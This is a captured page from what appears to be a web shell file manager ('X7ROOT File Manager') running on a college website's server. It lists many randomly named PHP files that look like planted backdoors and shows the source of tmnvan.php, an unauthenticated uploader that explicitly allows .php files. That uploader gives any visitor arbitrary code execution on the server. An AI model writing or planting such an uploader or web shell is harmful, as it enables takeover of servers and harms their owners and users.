X7ROOT File Manager
Current Path:
/var/sentora/hostdata/konguhitek/public_html
var
/
sentora
/
hostdata
/
konguhitek
/
public_html
/
📁
..
📄
.htaccess
(63 B)
📄
0lztsx.php
(3.89 KB)
📄
70feie.php
(4.7 KB)
📄
PuNiSheRsRe_xDNMM3IK.php
(0 B)
📄
R&D.php
(33.07 KB)
📄
about.php
(4.23 KB)
📄
about1751417440.php
(5.74 KB)
📄
admin.php
(4.23 KB)
📄
admission.php
(76.48 KB)
📄
alumni.php
(36.5 KB)
📄
brig.html
(1.11 KB)
📄
civil_engineering.php
(21.83 KB)
📄
class.php
(0 B)
📄
committees.php
(24.86 KB)
📄
contact.php
(7 KB)
📁
css
📄
department.php
(3.95 KB)
📄
department_activities.php
(2.33 KB)
📄
edc.php
(6.75 KB)
📄
events.php
(7.2 KB)
📄
facilities.php
(3.58 KB)
📄
feedback.php
(27.25 KB)
📄
filter.php
(881 B)
📁
fonts
📄
footer.php
(18.51 KB)
📄
gallery copy.php
(37.84 KB)
📄
gallery.php
(9.33 KB)
📄
header.php
(14.1 KB)
📄
hxfjke.php
(3.89 KB)
📄
ifu98e.php
(34.38 KB)
📄
iipc.php
(45.19 KB)
📁
images
📄
index.html
(181 B)
📄
index.php
(28.67 KB)
📄
jga.php
(0 B)
📄
jobs copy.php
(860 B)
📄
jobs.php
(27.38 KB)
📁
js
📁
ktgadmin
📄
mld.txt
(1 B)
📄
mou.php
(30.11 KB)
📄
news_details.php
(2.28 KB)
📄
placement.php
(12.08 KB)
📁
plugins
📄
putkmsz.php
(4.92 KB)
📄
robots.txt
(1.09 KB)
📄
send_1751421498.php
(192.75 KB)
📄
sf4qer.php
(3.89 KB)
📄
student_activities.php
(4.03 KB)
📄
student_corner.php
(34.04 KB)
📄
style.php
(28 B)
📄
sw_rex_v2.js
(50 B)
📄
tmnvan.php
(1.4 KB)
📁
uploads
📄
utchiha_2aMtLW3Y.php
(0 B)
📄
utchiha_6DgilRNm.txt
(9 B)
📄
utchiha_Gw6LMY1H.php
(8 KB)
📄
utchiha_L9dwha7s.php
(8 KB)
📄
utchiha_MVYTcKX1.php
(214.79 KB)
📄
utchiha_SEsPQxII.php
(8 KB)
📄
utchiha_WYpTbrci.txt
(10 B)
📄
utchiha_qDN2zSra.php
(8 KB)
📄
utchiha_rlmZwxb1.php
(0 B)
📄
vjaacyo.php
(4.92 KB)
📄
wp-filter.php
(374 B)
📄
xKou99_0E0rcROc.php
(0 B)
📄
xKou99_2VYeDNmG.php
(0 B)
📄
xKou99_smgW3Y78.php
(0 B)
📄
zi.php
(1.55 KB)
📄
zoo.php
(0 B)
Editing: tmnvan.php
<?php // Set upload directory $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; $fileType = pathinfo($targetFile, PATHINFO_EXTENSION); // Allowed file types $allowedTypes = ['jpg', 'png', 'gif', 'pdf', 'zip', 'txt', 'php']; if (!in_array(strtolower($fileType), $allowedTypes)) { die("Error: File type not allowed."); } // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>
Upload File
Create Folder